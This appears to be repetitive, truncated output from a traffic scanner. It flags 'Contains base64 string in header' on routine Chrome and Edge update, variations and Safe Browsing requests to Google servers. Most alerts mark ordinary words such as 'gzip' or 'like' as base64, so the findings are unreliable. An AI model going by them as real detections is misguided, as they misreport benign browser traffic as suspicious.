noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "5hzRG9rNJD6E20Yqnnyn7FAccept" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Encoding" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "gzip" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Dest" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromiumcrx&prodchannel=&prodversion=145.0.3800.58&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dexternal%26uc HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhiX-Goog-Update-Updater: chromiumcrx-145.0.3800.58Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iMs-Cv: 5hzRG9rNJD6E20Yqnnyn7FAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "/service/update2/crx" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "7559" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "crx3" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "puff" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "26uc" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "253D" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "clients2" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "like" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Mode" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Goog" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "ghbmnnjooekpmoecnnnilnnbdlolhkhi" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Site" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Language" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Encoding" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "gzip" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Dest" in header "GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&prod=chromecrx&prodchannel=&prodversion=144.0.7559.133&lang=en-US&acceptformat=crx3,puff&x=id%3Dghbmnnjooekpmoecnnnilnnbdlolhkhi%26v%3D0.0.0.0%26installedby%3Dinternal%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DHKFL%26ping%3Dr%253D-1%2526e%253D1 HTTP/2Host: clients2.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsX-Goog-Update-Appid: ghbmnnjooekpmoecnnnilnnbdlolhkhi,nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-144.0.7559.133Sec-Fetch-Site: noneAccept-Language: en-US,en;q=0.9X-Goog-Update-Interactivity: fgPriority: u=1, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "like" in header "GET /chrome-variations/seed?osname=win&channel=stable&milestone=144 HTTP/2Host: clientservices.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsIf-None-Match: SMChYyMDI2MDEzMC0wMTAwMTEuMzU0MDAwEgYIABADIAA=#N/buIelIxNY=Sec-Fetch-Site: noneA-Im: x-bm,gzipPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Mode" in header "GET /chrome-variations/seed?osname=win&channel=stable&milestone=144 HTTP/2Host: clientservices.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsIf-None-Match: SMChYyMDI2MDEzMC0wMTAwMTEuMzU0MDAwEgYIABADIAA=#N/buIelIxNY=Sec-Fetch-Site: noneA-Im: x-bm,gzipPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "None" in header "GET /chrome-variations/seed?osname=win&channel=stable&milestone=144 HTTP/2Host: clientservices.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsIf-None-Match: SMChYyMDI2MDEzMC0wMTAwMTEuMzU0MDAwEgYIABADIAA=#N/buIelIxNY=Sec-Fetch-Site: noneA-Im: x-bm,gzipPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "N/buIelIxNY=" in header "GET /chrome-variations/seed?osname=win&channel=stable&milestone=144 HTTP/2Host: clientservices.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsIf-None-Match: SMChYyMDI2MDEzMC0wMTAwMTEuMzU0MDAwEgYIABADIAA=#N/buIelIxNY=Sec-Fetch-Site: noneA-Im: x-bm,gzipPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Site" in header "GET /chrome-variations/seed?osname=win&channel=stable&milestone=144 HTTP/2Host: clientservices.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsIf-None-Match: SMChYyMDI2MDEzMC0wMTAwMTEuMzU0MDAwEgYIABADIAA=#N/buIelIxNY=Sec-Fetch-Site: noneA-Im: x-bm,gzipPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "gzipPriority" in header "GET /chrome-variations/seed?osname=win&channel=stable&milestone=144 HTTP/2Host: clientservices.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsIf-None-Match: SMChYyMDI2MDEzMC0wMTAwMTEuMzU0MDAwEgYIABADIAA=#N/buIelIxNY=Sec-Fetch-Site: noneA-Im: x-bm,gzipPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Encoding" in header "GET /chrome-variations/seed?osname=win&channel=stable&milestone=144 HTTP/2Host: clientservices.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsIf-None-Match: SMChYyMDI2MDEzMC0wMTAwMTEuMzU0MDAwEgYIABADIAA=#N/buIelIxNY=Sec-Fetch-Site: noneA-Im: x-bm,gzipPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "gzip" in header "GET /chrome-variations/seed?osname=win&channel=stable&milestone=144 HTTP/2Host: clientservices.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsIf-None-Match: SMChYyMDI2MDEzMC0wMTAwMTEuMzU0MDAwEgYIABADIAA=#N/buIelIxNY=Sec-Fetch-Site: noneA-Im: x-bm,gzipPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Dest" in header "GET /chrome-variations/seed?osname=win&channel=stable&milestone=144 HTTP/2Host: clientservices.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsIf-None-Match: SMChYyMDI2MDEzMC0wMTAwMTEuMzU0MDAwEgYIABADIAA=#N/buIelIxNY=Sec-Fetch-Site: noneA-Im: x-bm,gzipPriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "BNhE" in header "GET /v1/ohttp/hpkekeyconfig?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/2Host: safebrowsingohttpgateway.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneX-Ohttppublickey-Fst: truePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "safebrowsingohttpgateway" in header "GET /v1/ohttp/hpkekeyconfig?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/2Host: safebrowsingohttpgateway.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneX-Ohttppublickey-Fst: truePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "like" in header "GET /v1/ohttp/hpkekeyconfig?key=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/2Host: safebrowsingohttpgateway.googleapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Sec-Fetch-Mode: no-corsSec-Fetch-Site: noneX-Ohttppublickey-Fst: truePriority: u=4, iAccept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: empty" Contains base64 string in header "Mode" in header "GET 